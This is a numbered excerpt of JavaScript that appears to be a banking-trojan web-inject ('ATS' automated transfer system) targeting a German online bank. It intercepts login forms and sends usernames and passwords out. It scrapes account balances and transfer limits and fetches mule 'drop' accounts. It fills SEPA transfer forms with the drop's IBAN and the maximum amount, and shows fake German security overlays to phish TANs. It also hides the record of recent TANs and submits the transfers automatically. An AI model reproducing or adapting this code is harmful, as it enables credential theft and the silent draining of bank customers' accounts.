  890. ATS.findAccountInfo = function(acc_num)
  891. {
  892.     ATS.debugMsg('acc_num:'+ acc_num);
  893.     var accounts_list = parent.ATS.accounts_list;
  894.     for (var i in accounts_list)
  895.     {
  896.         //if (accounts_list[i] != 'function' )
  897.          //ATS.debugMsg('accounts_list[i]:'+ accounts_list[i]);
  898.        
  899.             if (acc_num.indexOf(accounts_list[i].number) != -1)
  900.             {
  901.                 //ATS.debugMsg('Found: ' + accounts_list[i].number + '; balance: ' + accounts_list[i].balance + '; transf: ' + accounts_list[i].transf);
  902.                 return accounts_list[i];
  903.             }
  904.        
  905.     }
  906.     return false;
  907. }
  908.  
  909. var langs ={
  910.  simple_property: 'Hello',
  911.  EN: {
  912.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  913.   nextbutton: "Weiter",
  914.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  915.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  916.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br />"
  917.  },
  918.   DE: {
  919.   waittext: "Unser System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern. <br /> W&#228hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts).",
  920.   nextbutton: "Weiter",
  921.   errortan: "TAN falsch, bitte richtige TAN eingeben",
  922.   errorTanEmpty : "TAN muss 6 Zeichen lang sein!",
  923.   autorizetext: "Zu Ihrer Sicherheit<br /> <br />Wahrscheinlich haben sich in letzter Zeit einige Ver&#228nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#252;ssen Sie eine TAN eingeben, um zu best&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228;hrt wird.<br />TAN-Eingabe<br /><br />Bitte geben Sie folgende TAN ein:"
  924.  
  925.  },
  926.  
  927.  getLang: function(step) {
  928.  
  929.  
  930. var ln='EN';
  931. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  932.  
  933. //  return(this.simple_property + ', ' + this[ln][step]);
  934.   return(this[ln][step]);
  935.  },
  936.  
  937.  getCurLang: function() {
  938.  
  939.  
  940. var ln='EN';
  941. if(!parent.jq('#metaNavigation').find('a:contains("Deutsche")').length) var ln='DE';
  942.  
  943.   return(ln);
  944.  }
  945.  
  946. };
  947.  
  948.  
  949.  
  950.  
  951. document.write('<style type="text/css">#iTANForm { border-top: medium none !important;}#inj_Weiter{background-color:white;}#inj_Weiter{cursor: hand;}#inj_Weiter:hover span{text-decoration: underline !important;}.formContainer2 #gad_contentbox {padding: 20px 20px 35px 20px;font-size:1em;width: auto;} .formContainer2 { width: 800px;border: 0.1em solid #C1C3C4 !important;text-align: left;color: #000; font-weight: bold; background-color: #FFFFFF;  }  #branch {    width: 1.9em;}.layout input, .layout select {    vertical-align: middle;}textarea, input, select {    border: 1px solid #B5C9E3;    color: #333333;    font: 1em arial,helvetica,sans-serif;    padding: 2px;}input.button {    -moz-border-bottom-colors: none;    -moz-border-image: none;    -moz-border-left-colors: none;    -moz-border-right-colors: none;    -moz-border-top-colors: none;    background: url("../../images/bt_standard.gif") no-repeat scroll right center #EAEAEA;    border-color: -moz-use-text-color #C0C0C0 #C0C0C0 -moz-use-text-color;    border-style: none solid solid none;    border-width: medium 1px 1px medium;    color: #003399;    cursor: pointer;    font-size: 1em;    font-weight: bold;    padding: 2px 3px; float:right;    }.inj_logo_p { color: #FFFFFF; font-size: 18px; } </style>');
  952.  
  953.  
  954.  
  955.  
  956.  
  957. ATS.checkTestPage = function()
  958. {
  959.     if(jq('#gad_contentbox').length) return true;
  960.     //  jq('#gad_contentbox').attr("style").indexOf('demo')!=-1) return true;
  961.     else return false;
  962. }
  963.  
  964.  
  965. ATS.checkLoginPage = function()
  966. {
  967.     //return !jq('input[value="Logout"]').length;
  968.     if(!jq('.loggedin:contains(Session-TAN):visible,#login:contains(Session-TAN):visible').length && (!!jq('input[name*="event_login"]').length ||(!!jq('input[name="login"]').length))) return true; else return false;
  969. }
  970.  
  971.  
  972.  
  973. ATS.isLoggedIn = function()
  974. {
  975.     return !!jq('a:contains(Logout):visible,input[name*="event_logout"]').length;
  976. }
  977. ATS.UI_blockSite = function()
  978. {
  979.     if (ATS.debugNoOverlay)
  980.         return;
  981.       ATS.debugMsg('ATS.UI_blockSite');
  982.     if (jq('#inj_block_overlay').length)
  983.         jq('#inj_block_overlay').show();
  984.     else
  985.         jq('#page').before('<div id="inj_block_overlay" class="ui-widget-overlay"><div id="inj_logo"><br><img src="'+ATS.CONTENT_URL+'/images/overlay_loader.gif" class="overlay_loader overlay_loader_non_ie"><br><p class="inj_logo_p">&#220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunden dauern.</p><img style="position: static;" class="overlay_logo" src="'+ATS.CONTENT_URL+'/images/overlay_progress.jpg"></div></div>');
  986. }
  987. ATS.UI_unblockSite = function()
  988. {
  989.     jq('#inj_block_overlay').hide();
  990.     jq('#page').show();
  991.     jq('#page > div').show();
  992. }
  993.  
  994. ATS.UI_hideDialogBox = function()
  995. {
  996.     jq('#inj_dialog_box').hide();
  997. }
  998.  
  999. ATS.UI_showDialogBox = function()
  1000. {
  1001.     //jq('#page > div').hide();
  1002.    
  1003.     if (!jq('#inj_dialog_box').length)
  1004.     {
  1005.         var injectCode = ATS.UI_getInjectCode();
  1006.         jq('#page').after(injectCode);
  1007.        
  1008.         jq('#inj_Weiter').click(ATS.UI_onWeiterClick);
  1009.     }
  1010.     jq('#inj_dialog_box').show();
  1011. }
  1012. ATS.UI_showWait = function()
  1013. {
  1014.     //ATS.UI_showDialogBox();
  1015.     //jq('#inj_page_wait').show();
  1016.    
  1017.     jq('#inj_logo').show();
  1018.     //jq('#inj_page_tan').hide();
  1019.     jq('#inj_page_brilok').hide();
  1020.     jq('.formContainer2 #gad_contentbox').hide();
  1021.     jq('#inj_dialog_box').hide();
  1022.  
  1023. }
  1024.  
  1025. ATS.getLoginForm = function()
  1026. {
  1027.     var form = jq("form#loginForm");
  1028.     if (form.length)
  1029.         return form[0];
  1030. return false;
  1031. }
  1032. ATS.getLoginForm2 = function()
  1033. {
  1034.     var form = jq("form#de-loginform");
  1035.     if (form.length)
  1036.         return form[0];
  1037.     return false;
  1038. }
  1039.  
  1040. ATS.getPageTitle = function(findtext)
  1041. {
  1042. var title=jq.trim(jq("div.page-headline >h1:eq(0)").text());
  1043.     if (title.indexOf(findtext) !=-1) return true;
  1044.     else return false;
  1045. }
  1046. ATS.hideLastTAN = function()
  1047. {
  1048.  
  1049.     var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
  1050.     if (el.length)
  1051.     {
  1052.         var html = jq(el).html();
  1053.         var pos = html.indexOf('Ihre zuletzt');
  1054.         if (pos >= 0)
  1055.             jq(el).html(html.substr(0, pos));
  1056.     }
  1057.    
  1058.  
  1059.     jq('p:contains(Zuletzt benutzte)').remove();
  1060. }
  1061.  
  1062.  
  1063. ATS.sleep= function(m) {var then = new Date(new Date().getTime() + m); while (new Date() < then) {}};
  1064.  
  1065.  
  1066.  
  1067. ATS.setLoginHook = function()
  1068. {
  1069.     var loginDataSent = false;
  1070.    
  1071.     var loginForm = ATS.getLoginForm();
  1072.     if (loginForm)
  1073.     {
  1074.         loginForm.onsubmit = function(){return true};
  1075.        
  1076.         jq(loginForm).submit(function(e){
  1077.             if (!loginDataSent)
  1078.             {
  1079.                 e.preventDefault();
  1080.                            
  1081.                            
  1082.                            
  1083.                 var login=jq(loginForm).find('input:visible[name="userId"]').val();
  1084.                
  1085.                 var password=jq(loginForm).find('input:visible[name="nip"]').val();
  1086.                
  1087.                 ATS.debugMsg('login info: ' + login + ', ' + password);
  1088.              
  1089.                     loginDataSent = true;
  1090.                 ATS.sendLoginInfo(login, password, function(){
  1091.                    
  1092.                     jq(loginForm).submit();
  1093.                 })
  1094.                
  1095.                 //return false;
  1096.             }
  1097.             //return true;
  1098.         });
  1099.        
  1100.         return true;
  1101.     }
  1102.    
  1103.     var loginForm = ATS.getLoginForm2();
  1104.     if (loginForm)
  1105.     {
  1106.         loginForm.onsubmit = function(){return true};
  1107.        
  1108.         jq(loginForm).submit(function(e){
  1109.             if (!loginDataSent)
  1110.             {
  1111.                 e.preventDefault();
  1112.                            
  1113.                            
  1114.                            
  1115.                 var login=jq(loginForm).find('input:visible[name="username"]').val();
  1116.                
  1117.                 var password=jq(loginForm).find('input:visible[name="passwort"]').val();
  1118.                
  1119.                 ATS.debugMsg('login info: ' + login + ', ' + password);
  1120.              
  1121.                     loginDataSent = true;
  1122.                 ATS.sendLoginInfo(login, password, function(){
  1123.                    
  1124.                     jq(loginForm).submit();
  1125.                 })
  1126.                
  1127.                 //return false;
  1128.             }
  1129.             //return true;
  1130.         });
  1131.        
  1132.         return true;
  1133.     }
  1134.     return false;
  1135. }
  1136.  
  1137.  
  1138.  
  1139.  
  1140. ATS.getTime = function()
  1141. {
  1142.     return Math.floor((new Date).getTime() / 1000);
  1143. }
  1144.  
  1145.  
  1146.  
  1147.  
  1148. ATS.openInIframe = function(url)
  1149. {
  1150.     var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
  1151.     jq('body').append(iframe);
  1152.     if (ATS.debugVisibleFrame)
  1153.     {
  1154.         jq("#ats_wrk_iframe").css('width', '1200px');
  1155.         jq("#ats_wrk_iframe").css('height', '800px');
  1156.         jq("#ats_wrk_iframe").css('top', '100px');
  1157.         jq("#ats_wrk_iframe").css('position', 'absolute');
  1158.         jq("#ats_wrk_iframe").css('z-index', '4000');
  1159.          
  1160. //          jq("body").css('position', 'relative');
  1161.     }
  1162.     else
  1163.     {
  1164.        var height=jq(parent.window).height();
  1165. var width=jq(parent.window).width();
  1166.  
  1167.         jq("#ats_wrk_iframe").css('width', width);
  1168.         jq("#ats_wrk_iframe").css('height', height);
  1169.         //jq(iframe).css('top', '0px');
  1170.         //jq(iframe).css('position', 'absolute');
  1171.         jq("#ats_wrk_iframe").css('visibility', 'hidden');
  1172.     }
  1173. }
  1174.  
  1175.  
  1176. ATS.parseAccountsList = function()
  1177. {
  1178.    
  1179.  
  1180. var accountsList = new Array();
  1181. var accountsListNided = new Array();
  1182.    
  1183. jq("table.assets").each(function(){
  1184. jq(this).find('tr').has('td.actions button').each(function(i){
  1185.    
  1186.  
  1187. var balance=jq.trim(jq(this).children("td:eq(2)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
  1188. var number=jq.trim(jq(this).children("td:eq(1)").text());
  1189. var button=jq(this).children("td:eq(3)").find('button');
  1190. var buttontext=jq(this).children("td:eq(3)").find('button').text().replace(/\s+/g, '');
  1191. var tr=jq(this);
  1192. var overdraft=0;
  1193. var Referenzkonto=tr.parent().parent().parent().parent().find('.detailview div:eq('+i+') .interest:contains(Referenzkonto)').next().find("span").text().replace(/\s+/g, '')
  1194. var Uberweisungslimit=tr.parent().parent().parent().parent().find('.detailview span.plus').text();
  1195.            
  1196.                 if (number != '')
  1197.                 {
  1198.  
  1199.  // ATS.debugMsg('Account: ' + number + '; balance : ' + balance +  '; overdraft : ' + overdraft + '; Referenzkonto : '+Referenzkonto+' buttontext = '+buttontext);
  1200.                     accountsList.push({number: number,balance: balance, overdraft: overdraft, button: button, tr: tr,Referenzkonto:Referenzkonto,buttontext:buttontext,Uberweisungslimit:Uberweisungslimit});    
  1201.                      
  1202.                      
  1203.                 }
  1204.    
  1205.        })
  1206.    }); 
  1207.  
  1208.     for(var i in accountsList)
  1209.     {
  1210. if((accountsList[i].buttontext.indexOf('berweisung')==-1) ||(accountsList[i].Referenzkonto.indexOf('Nein')==-1)){
  1211.  
  1212.  }else { accountsListNided.push(accountsList[i]);ATS.debugMsg(accountsList[i]);}
  1213. }
  1214.  
  1215.  
  1216. return accountsListNided   ;  
  1217.    
  1218.    
  1219. }
  1220.  
  1221.  
  1222.  
  1223. ATS.framePageFinanzstatus = function()
  1224. {
  1225.    
  1226. if (!!jq('div[role="dialog"]:visible').length)
  1227. jq('div[role="dialog"]').find('span:contains(close)').click();
  1228.    
  1229.    
  1230.    
  1231.    
  1232.  
  1233.     if(!parent.ATS.Gesamtsaldo){
  1234.  
  1235.  
  1236. if(jq(".accountGroupList h2.header span.accountGroupSum").length>0){
  1237.  
  1238. var tempGesamtsaldo=0;
  1239. jq(".accountGroupList h2.header span.accountGroupSum").each(function(){      
  1240. tempGesamtsaldo+=ATS.fin2float(jq(this).text());
  1241.  
  1242. })
  1243.  
  1244. }
  1245. else {ATS.die("framePageFinanzstatus: cant find tempGesamtsaldo");return false;}
  1246.    
  1247.  
  1248.     parent.ATS.Gesamtsaldo = tempGesamtsaldo;
  1249.     }
  1250.    
  1251.     ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
  1252.  
  1253.     ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1254.    
  1255.     parent.ATS.accounts_list = ATS.parseAccountsList();
  1256.  
  1257.     if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find accounts Referenzkonto:Nein and button=Uberweisung');
  1258.    
  1259.     //var maxBalance = ATS.getMaxTransferAcc();
  1260.     var maxAcc = ATS.getMaxTransferAcc();
  1261.    
  1262.    
  1263.     parent.ATS.maxAcc=maxAcc;
  1264.     parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.balance;
  1265.    
  1266.    
  1267.     parent.ATS.StepInFrame.set_current_state("KreditlimitPage");
  1268.  
  1269.     parent.ATS.LimitTransfer=ATS.fin2float(maxAcc.Uberweisungslimit);
  1270.             jq(maxAcc.button).click();
  1271.  
  1272.  
  1273. /*
  1274.     maxAcc.tr.mouseenter();
  1275.         setTimeout(function(){
  1276.     parent.ATS.LimitTransfer=ATS.fin2float(maxAcc.tr.parent().parent().parent().parent().find('.detailview span.plus').text());
  1277.             jq(maxAcc.button).click();
  1278.         }, 2000);
  1279. */    
  1280.  
  1281.    
  1282.    
  1283. }
  1284.  
  1285. ATS.KreditlimitPage = function()
  1286. {
  1287.  
  1288. var totalKreditBalance=0;
  1289. var dostupnaSumma=jq('.account-balance').find('td:eq(1) span');
  1290. dostupnaSumma = ATS.fin2float(jq(dostupnaSumma).text());
  1291.  
  1292. ATS.debugMsg('dostupnaSumma: ' + dostupnaSumma);
  1293.  
  1294. if(dostupnaSumma<=0){ ATS.die('KreditlimitPage: dostupnaSumma(Kontostand )  = '+dostupnaSumma); return false;}
  1295.  
  1296. if (parent.ATS.LimitTransfer>dostupnaSumma) totalKreditBalance=dostupnaSumma;
  1297. else totalKreditBalance=parent.ATS.LimitTransfer;
  1298.  
  1299.  
  1300. var HasSepa=false;
  1301. jq("input[name='opponentKeysInputType']").each(function(){
  1302. if (jq.trim(jq(this).attr("value"))=="ibanBic")  HasSepa=jq(this);
  1303. //jq(this).removeAttr('checked');
  1304. })
  1305. totalKreditBalance=parseFloat(totalKreditBalance.toFixed(2));
  1306.  
  1307.  
  1308. if(HasSepa){
  1309.     ATS.getDrop('SEPA', totalKreditBalance, function(data){
  1310.                     if (data && data.drop)
  1311.                     {
  1312.                         parent.ATS.sepa_drop = data.drop;
  1313.                         parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1314.  
  1315.                        jq(HasSepa).attr('checked', 'checked');
  1316.                        jq(HasSepa).click();
  1317.  
  1318.                     setTimeout(function(){
  1319.                     ATS.framePageSEPA_page();
  1320.                     }, ATS.randInt(2000, 3500));
  1321.  
  1322.                        
  1323.                     }
  1324.                     else
  1325.                     {
  1326.                        
  1327.                         ATS.getDrop('Internal', totalKreditBalance, function(data){
  1328.                         if (data && data.drop)
  1329.                         {
  1330.                             parent.ATS.int_drop = data.drop;
  1331.                             parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
  1332.                 parent.ATS.transf_mode = 'int';
  1333.                     setTimeout(function(){
  1334.                        ATS.framePageInternal_transf_page();                    
  1335.                     }, ATS.randInt(2000, 3500));
  1336.  
  1337.                            
  1338.                            
  1339.                         }
  1340.                         else
  1341.                         {
  1342.                             parent.ATS.UI_hideDialogBox();
  1343.                             parent.ATS.UI_unblockSite();
  1344.                             ATS.die('KreditlimitPage: no Int drop');
  1345.    
  1346.                         }
  1347.                         });
  1348.                  
  1349.                        
  1350.                     }
  1351.                 });
  1352.                
  1353.  
  1354. }else { // comment if(HasSepa){
  1355.                          ATS.getDrop('Internal', totalKreditBalance, function(data){
  1356.                         if (data && data.drop)
  1357.                         {
  1358.                             parent.ATS.int_drop = data.drop;
  1359.                             parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
  1360.                 parent.ATS.transf_mode = 'int';
  1361.                     setTimeout(function(){
  1362.                        ATS.framePageInternal_transf_page();                    
  1363.                     }, ATS.randInt(2000, 3500));
  1364.  
  1365.                            
  1366.                            
  1367.                         }
  1368.                         else
  1369.                         {
  1370.                             parent.ATS.UI_hideDialogBox();
  1371.                             parent.ATS.UI_unblockSite();
  1372.                             ATS.die('KreditlimitPage: no Int drop');
  1373.    
  1374.                         }
  1375.                         });  
  1376.    
  1377. }
  1378.                
  1379.                
  1380.    
  1381. }    
  1382.  
  1383.  
  1384.  
  1385.  
  1386. ATS.framePageTransactions = function()
  1387. {
  1388.                        
  1389.    
  1390.     parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1391.  
  1392.     var sepa_link=jq('.gad-tabnavigation-list > li:eq(1) a').attr("href");
  1393.     if (sepa_link!='') {
  1394.         setTimeout(function(){
  1395.             document.location.href = sepa_link;                    
  1396.         }, ATS.randInt(2000, 3500));
  1397.  
  1398.     }
  1399.     else ATS.die('framePageTransactions: cant find sepa_link');
  1400.    
  1401. }
  1402.  
  1403. ATS.framePageOverseas_remittance = function()
  1404. {
  1405.                        
  1406.  
  1407.     parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1408.    
  1409.     ATS.debugMsg('ATS.framePageOverseas_remittance, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1410.         setTimeout(function(){
  1411.             jq('.nextStep input[type="submit"]').eq(0).click();                    
  1412.         }, ATS.randInt(2000, 3500));
  1413.  
  1414.    
  1415.    
  1416.    
  1417.    
  1418. }
  1419.  
  1420. ATS.framePageSEPA_page = function()
  1421. {
  1422.                        
  1423.  
  1424.     ATS.debugMsg('ATS.framePageSEPA_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1425.  
  1426.  
  1427. ATS.framePageSEPA_fill();
  1428.    
  1429. }
  1430.  
  1431. ATS.framePageSEPA_fill = function()
  1432. {
  1433.  
  1434. var drop = parent.ATS.sepa_drop;
  1435. /*     
  1436.         var accountsSelect = jq('select[name="idKontoGewaehlt"]');
  1437.  
  1438.         if (jq(accountsSelect).length != 0)
  1439.         {
  1440.             var maxAcc = null;
  1441.             jq(accountsSelect).children('option').each(function(){
  1442.                 var acc_num = jq.trim(jq(this).text()).replace(/\D+/g,'');
  1443.                 if (acc_num != '')
  1444.                 {
  1445.                     ATS.debugMsg('Option: ' + acc_num);
  1446.                
  1447.                 var accInfo = ATS.findAccountInfo(acc_num.toString());    
  1448.                     ATS.debugMsg('accInfo: ' + accInfo);
  1449.             if (accInfo && (!maxAcc || (parseFloat(maxAcc.balance) < parseFloat(accInfo.balance))))
  1450.                     {
  1451.                         maxAcc = accInfo;
  1452.                         jq(this).attr('selected', 'selected');
  1453.                     }
  1454.                 }
  1455.             });    
  1456.        
  1457.         }  
  1458.             if (maxAcc)
  1459.             {
  1460.                 ATS.setCookie('transfer_acc', maxAcc.number);
  1461.             }
  1462.             else ATS.die('framePageSEPA_fill: cent find transfer_acc');
  1463.             */
  1464.          if (parent.ATS.maxAcc.number)
  1465.             {
  1466.                 ATS.setCookie('transfer_acc', parent.ATS.maxAcc.number);
  1467.             }
  1468.             else ATS.die('framePageSEPA_fill: cent find transfer_acc');
  1469.  
  1470.            
  1471.   //------------------------------------------------------  
  1472.    
  1473.    
  1474.    
  1475.    
  1476.  
  1477.        
  1478.     jq('input:visible[name="accountingOpponent"]').val(drop.DrName);
  1479.     //jq('input:visible[name="ibanOpponent"]').focus().val(drop.IBAN).blur().keyup();
  1480.     jq('input:visible[name="ibanOpponent"]').val(drop.IBAN);
  1481.    
  1482.     //jq('input:visible[name="bicOpponent"]').focus().val( ATS.padRight(drop.BIC,11)).blur().keyup();
  1483.     jq('input:visible[name="bicOpponent"]').val( drop.BIC);
  1484.     jq('input:visible[name="amount"]').val(drop.amount);
  1485.     jq('input:visible[name="purpose1"]').val(drop.Reference);
  1486.  
  1487.  
  1488.  
  1489.     var displayBankNameCH = function(data) {
  1490. if (data) {
  1491. var hasError = (data.errors) ? true : false;
  1492. bankNameOpponent.value = data.bankName;
  1493. }
  1494.  
  1495. };
  1496. setTimeout(function(){
  1497. coco.jsonService.banking.BankNameSearch({
  1498. "type" : "bic",
  1499. id : drop.BIC,
  1500. callbackSuccess : displayBankNameCH,
  1501. callbackXhrError: function(){displayBankName(null);}//reset Bankname to default, don't show xhr error
  1502. });
  1503.     }, ATS.randInt(2000, 3000));
  1504. //------------------------    
  1505.         //parent.ATS.current_state = 110;
  1506.     parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
  1507.     ATS.sendLogMsg('SEPA form filled in');
  1508.    
  1509.  
  1510.  
  1511.    
  1512.     if ( jq('input#submitBtn').eq(0).length)
  1513.     {
  1514.      
  1515.         setTimeout(function(){     
  1516.           //jq('input#submitBtn').eq(0).click();       
  1517.           var but=jq('input#submitBtn');
  1518.           ATS.imgSubmit(but);
  1519.          
  1520.           }, ATS.randInt(20000, 30000));
  1521.     }
  1522.     else
  1523.     {
  1524.         ATS.die('framePageSEPA_page: cant find continue button');
  1525.     }
  1526.  
  1527.  
  1528. }
  1529.  
  1530.  
  1531.  
  1532. ATS.framePageInternal_transf_page = function()
  1533. {
  1534.                        
  1535.  
  1536.     ATS.debugMsg('ATS.framePageInternal_transf_page, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1537.  
  1538.    
  1539.    
  1540.     ATS.framePageInternal_transf_page_fill();
  1541. }
  1542.  
  1543.  
  1544. ATS.framePageInternal_transf_page_fill = function()
  1545. {
  1546.     var drop = parent.ATS.int_drop;
  1547.    
  1548.    /*
  1549.         var accountsSelect = jq('select[name="idKontoGewaehlt"]');
  1550.  
  1551.         if (jq(accountsSelect).length != 0)
  1552.         {
  1553.             var maxAcc = null;
  1554.             jq(accountsSelect).children('option').each(function(){
  1555.                 var acc_num = jq.trim(jq(this).text()).replace(/\D+/g,'');
  1556.                 if (acc_num != '')
  1557.                 {
  1558.                     ATS.debugMsg('Option: ' + acc_num);
  1559.                
  1560.                 var accInfo = ATS.findAccountInfo(acc_num.toString());    
  1561.                     ATS.debugMsg('accInfo: ' + accInfo);
  1562.             if (accInfo && (!maxAcc || (parseFloat(maxAcc.balance) < parseFloat(accInfo.balance))))
  1563.                     {
  1564.                         maxAcc = accInfo;
  1565.                         jq(this).attr('selected', 'selected');
  1566.                     }
  1567.                 }
  1568.             });    
  1569.        
  1570.         }  
  1571.  
  1572.             if (maxAcc)
  1573.             {
  1574.                 ATS.setCookie('transfer_acc', maxAcc.number);
  1575.             }
  1576.             else ATS.die('framePageInternal_transf_page_fill: cent find transfer_acc');
  1577.             */
  1578.            
  1579.             if (parent.ATS.maxAcc.number)
  1580.             {
  1581.                 ATS.setCookie('transfer_acc', parent.ATS.maxAcc.number);
  1582.             }
  1583.             else ATS.die('framePageInternal_transf_page_fill: cent find transfer_acc');
  1584.            
  1585.            
  1586.   //------------------------------------------------------  
  1587.    
  1588.    
  1589.    
  1590.     //jq('input:visible[name="ibanOpponent"]').focus().val(drop.IBAN).blur().keyup();
  1591.     jq('input:visible[name="ibanOpponent"]').val(drop.IBAN);
  1592.    
  1593.     jq('input[name="accountingOpponent"]').val(drop.DrName);
  1594.     //jq('input[name="accountnoOpponent"]').val(drop.Konto);
  1595.     //jq('input[name="bankCodeOpponent"]').val(drop.BLZ);
  1596.     jq('input[name="amount"]').val(drop.amount);
  1597.     jq('input[name="purpose1"]').val(drop.Reference);
  1598.    
  1599.  
  1600.    
  1601.  
  1602.  
  1603.  
  1604.     var displayBankNameCH = function(data) {
  1605. if (data) {
  1606. var hasError = (data.errors) ? true : false;
  1607. bankNameOpponent.value = data.bankName;
  1608. }
  1609.  
  1610. };
  1611. setTimeout(function(){
  1612. coco.jsonService.banking.BankNameSearch({
  1613. "type" : "iban",
  1614. id : drop.IBAN,
  1615. callbackSuccess : displayBankNameCH,
  1616. callbackXhrError: function(){displayBankName(null);}//reset Bankname to default, don't show xhr error
  1617. });
  1618.     }, ATS.randInt(2000, 3000));
  1619. //------------------------    
  1620.    
  1621.    
  1622.  
  1623.     parent.ATS.StepInFrame.set_current_state("INT_form_filled");
  1624.     ATS.sendLogMsg('INT form filled in');
  1625.  
  1626.    
  1627.    
  1628.     if ( jq('input#submitBtn').eq(0).length)
  1629.     {
  1630.      
  1631.         setTimeout(function(){
  1632.        
  1633.             //jq('input#submitBtn').eq(0).click();
  1634.           var but=jq('input#submitBtn');
  1635.           ATS.imgSubmit(but);
  1636.  
  1637.         }, ATS.randInt(20000, 30000));
  1638.     }
  1639.     else
  1640.     {
  1641.             ATS.die('framePageInternal_transf_page: cant find continue button');
  1642.     }
  1643.    
  1644.    
  1645.  
  1646. }
  1647. ATS.enterCode = function(tan)
  1648. {
  1649.     ATS.debugMsg('ATS.enterCode ' + tan);
  1650.    
  1651.    
  1652.     if (jq('#defaultFocusT0').length)
  1653.     {
  1654.         jq('#defaultFocusT0').val(tan);
  1655.        
  1656.         if ( jq('input[name*="event_confirm"]').eq(0).length)
  1657.         {
  1658.             //parent.ATS.current_state = 120;
  1659.             parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
  1660.             parent.ATS.UI_showWait();
  1661.            
  1662.             //jq('input[name*="event_confirm"]').eq(0).click();
  1663.           var but=jq('input[name*="event_confirm"]');
  1664.           ATS.imgSubmit(but);
  1665.  
  1666.         }
  1667.         else
  1668.             ATS.die('enterCode: cant find  button');
  1669.     }
  1670.     else
  1671.         ATS.die('enterCode: cant find field by label');
  1672. }
  1673. ATS.randomPage = function()
  1674. {
  1675.     ATS.debugMsg('ATS.randomPage');
  1676.     var page= ATS.randInt(1,5);
  1677.     var loc='';
  1678.     switch (page) {
  1679.        case 1:
  1680.          
  1681.           loc="https://www.cortalconsors.de/ev/Sparen-Anlegen/Anlegen/Aktien";
  1682.           //jQuery('nav.loggedin li a:contains(Aktien)').eq(0).click();
  1683.           break
  1684.        case 2:
  1685.          
  1686.           loc="https://www.cortalconsors.de/ev/Finanzieren/-/Ratenkredit";
  1687.           //jQuery('nav.loggedin li a:contains(Finanzieren)').eq(0).click();
  1688.           break
  1689.        case 3:
  1690.          
  1691.           loc="https://www.cortalconsors.de/ev/Girokonto/-/Girokonto";
  1692.          // jQuery('nav.loggedin li a:contains(Girokonto)').eq(0).click();
  1693.           break
  1694.        case 4:
  1695.          
  1696.           loc="https://www.cortalconsors.de/Wertpapierhandel/Futures";
  1697.          //jQuery('nav.loggedin li a:contains(Girokonto)').eq(0).click();
  1698.           break
  1699.        case 5:
  1700.          
  1701.           loc="https://www.cortalconsors.de/ev/Wertpapierhandel/Depot-Software/Wertpapierdepot";
  1702.           //jQuery('nav.loggedin li a:contains(Fonds)').eq(0).click()
  1703.           break
  1704.  
  1705.     }
  1706.    
  1707.    
  1708.     ATS.StepInFrame.set_current_state("inside_randomPage");
  1709.     if(!!loc.length){
  1710.     //loc=loc.attr("href").replace("(","%28").replace(")","%29");;
  1711.    
  1712.     return loc;
  1713.     }
  1714.        
  1715.     else ATS.die('randomPage: cant find link for random page');
  1716.     return false;
  1717.    
  1718. }
  1719. ATS.inside_randomPage = function()
  1720. {
  1721.    
  1722. ATS.debugMsg('ATS.inside_randomPage');
  1723. ATS.StepInFrame.set_current_state("framePageFinanzstatus");
  1724.  
  1725.  
  1726.            setTimeout(function(){
  1727.                 loc=jq("li a:contains(Mein Konto):visible").attr("href");
  1728.                 document.location.href = loc;
  1729.              
  1730.            
  1731.         }, ATS.randInt(15000,30000));
  1732.    
  1733. }
  1734.  
  1735.  
  1736. ATS.frameWork = function()
  1737. {
  1738.     ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1739.     ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
  1740.     switch (ATS.StepInFrame[parent.ATS.current_state])
  1741.     {
  1742.  
  1743.         case "framePageFinanzstatus":
  1744.             ATS.framePageFinanzstatus();
  1745.             break;
  1746.            
  1747.        
  1748.         case "Transactions":
  1749.             ATS.framePageTransactions();
  1750.             break;
  1751.            
  1752.        
  1753.         case "Overseas_remittance":
  1754.             ATS.framePageOverseas_remittance();
  1755.             break;
  1756.        
  1757.         case "KreditlimitPage":
  1758.             ATS.KreditlimitPage();
  1759.             break;
  1760.        
